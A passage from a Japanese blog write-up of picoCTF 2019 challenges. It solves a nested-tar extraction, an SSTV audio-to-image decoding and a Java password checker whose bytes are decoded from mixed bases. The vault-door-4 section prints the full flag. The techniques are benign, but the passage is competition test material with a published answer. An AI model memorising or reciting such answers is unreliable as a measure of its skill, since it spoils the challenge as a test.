with open(output_file, 'wb') as f:
    f.write(data)

ここまで直したところで、ついに壊れていない画像が出てきました!時間かかった…!

f:id:kusuwada:20191012022641p:plain

[Forensics] like1000 (250pt)

This .tar file got tarred alot. Also available at /problems/like1000_0_369bbdba2af17750ddf10cc415672f1c.

1000.tar が配布されます。問題文からして1000回tarしてあるので1000回解凍してあげれば良さそう。
ちょっと手で解凍してみた感じ、解凍すると999.tar,998.tar,...と名前が変化していきます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import tarfile

for i in range(1000, 0, -1):
    filename = str(i) + '.tar'
    with tarfile.open(filename, 'r') as tf:
        tf.extractall(path='.')

※消してないので1000個ファイルができるので注意!

最後に1.tarが生成されたので、これを解凍するとflag.pngが出てきました。

f:id:kusuwada:20191012022706p:plain

[Forensics] m00nwalk (250pt)

Decode this message from the moon. You can also find the file in /problems/m00nwalk_0_05441e9344c829ba5a648e8b28ef1564.

Hints

How did pictures from the moon landing get sent back to Earth?

What is the CMU mascot?, that might help select a RX option

message.wav ファイルが配布されます。素直に聞いてみましたがピコピコうるさいです。ノイズにしか聞こえない。FAX送受信のときの音に似ています。

ヒントを見てみると、月面着陸の時に地球にどうやって画像が送られたか?というのと、カーネギーメロン大学のマスコットは?というのがあります。後者は、ぐぐるScotty the the Scottie Dogということだそうです。こいつ。

f:id:kusuwada:20191105152611j:plain:w200

FAXで使われている「ピーガガガ」みたいな音を画像に変換するツールを探してみます。調べてみると DTMF解析 というのがそれに当たりそう。
色々ツールがあったのでいくつか試してみましたが(Mac用 & Android用)、うまくいきません。Hintsの他にGameをすることで手に入るWalkThroughも見てみようと思ったのですが、この問題には設定されていませんでした...。
ツール探しに時間が溶けそうだったので他の問題を優先して競技期間中はここで時間切れ。

もう一度自分で調べるところから始めようかと思いましたが、今回は手っ取り早く他の方のwriteupを読みました。

これらによると、DTMFではなくSSTVというフォーマットだったらしい…!絶対DTMFだと思ってたので、深追いしなくてよかった…。

moon landing transfar protocol こんな感じでぐぐってみると、

Moon landing conspiracy theories - Wikipedia

月面着陸陰謀説のwikipediaがhit...!実はこの中にSSTVについて言及されていました。ここからなら辿れたかもしれないけど厳しそう。

Apollo TV camera - Wikipedia

Apollo TV camera というトピックもあったみたい。こっちのほうが引っ掛けやすかったかな?なんにしても情報収集難しい。

これを音声から映像に変換するツールを探してみます。

Windows

Mac OSX

Mac使いなので、今回はMacOSXで紹介した2つ目のツールを使ってみました。

アプリを立ち上げて、携帯から先程DLしたmessage.wavを流してみます。すると勝手に受信・解析を始めてくれました。
いまいちぱきっとした画像にならなかったので色々いじってみた最終結果がこちら。

f:id:kusuwada:20191105152713p:plain

ヒントのScottieはRX optionに使えとのことでしたが、勝手に選択してくれていました(画面下部)。
また、右上の"Slant"バーを調整すると傾きが変わり、最初は読めるかギリギリアウトくらいだった画像が「まぁ読める。」くらいになりました。

f:id:kusuwada:20191105152736p:plain

他のwriteup見てるとまだまだ画像が乱れてそうですが、flagが読めるのでここで切り上げ。アポロのとき、宇宙からの画像送信に使われた技術だと思うとロマンが溢れてますねー!

[Reversing] vault-door-4 (250pt)

This vault uses ASCII encoding for the password. The source code for this vault is here: VaultDoor4.java

javaファイルが配布されます。

import java.util.*;

class VaultDoor4 {
    public static void main(String args[]) {
        VaultDoor4 vaultDoor = new VaultDoor4();
        Scanner scanner = new Scanner(System.in);
        System.out.print("Enter vault password: ");
        String userInput = scanner.next();
    String input = userInput.substring("picoCTF{".length(),userInput.length()-1);
    if (vaultDoor.checkPassword(input)) {
        System.out.println("Access granted.");
    } else {
        System.out.println("Access denied!");
        }
    }

    // I made myself dizzy converting all of these numbers into different bases,
    // so I just *know* that this vault will be impenetrable. This will make Dr.
    // Evil like me better than all of the other minions--especially Minion
    // #5620--I just know it!
    //
    //  .:::.   .:::.
    // :::::::.:::::::
    // :::::::::::::::
    // ':::::::::::::'
    //   ':::::::::'
    //     ':::::'
    //       ':'
    // -Minion #7781
    public boolean checkPassword(String password) {
        byte[] passBytes = password.getBytes();
        byte[] myBytes = {
            106 , 85  , 53  , 116 , 95  , 52  , 95  , 98  ,
            0x55, 0x6e, 0x43, 0x68, 0x5f, 0x30, 0x66, 0x5f,
            0142, 0131, 0164, 063 , 0163, 0137, 062 , 066 ,
            '7' , 'e' , '0' , '3' , 'd' , '1' , '1' , '6' ,
        };
        for (int i=0; i<32; i++) {
            if (passBytes[i] != myBytes[i]) {
                return false;
            }
        }
        return true;
    }
}

またコメントに気合が入っています。どうやら全部違うbaseで変換されているようですが、最終的には全部asciiにしたら良さそう。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import binascii

my_bytes = ['106'  , '85'   , '53'   , '116'  , '95'   , '52'   , '95'   , '98',
            '0x55' , '0x6e' , '0x43' , '0x68' , '0x5f' , '0x30' , '0x66' , '0x5f',
            '0142' , '0131' , '0164' , '063'  , '0163' , '0137' , '062'  , '066' ,
            '7'    , 'e'    , '0'    , '3'    , 'd'    , '1'    , '1'    , '6']

def hex2ascii(hex_str):
    return bytes.fromhex(hex_str[2:]).decode('utf-8')

def oct2ascii(oct_str):
    return chr(int(oct_str, 8))

def int2ascii(int_str):
    return chr(int(int_str))

flag = ''
for i in range(8):
    flag += int2ascii(my_bytes[i])
for i in range(8):
    flag += hex2ascii(my_bytes[8+i])
for i in range(8):
    flag += oct2ascii(my_bytes[16+i])
for i in range(8):
    flag += my_bytes[24+i]
print('picoCTF{' + flag + '}')

実行結果

$ python solve.py 
picoCTF{jU5t_4_bUnCh_0f_bYt3s_267e03d116}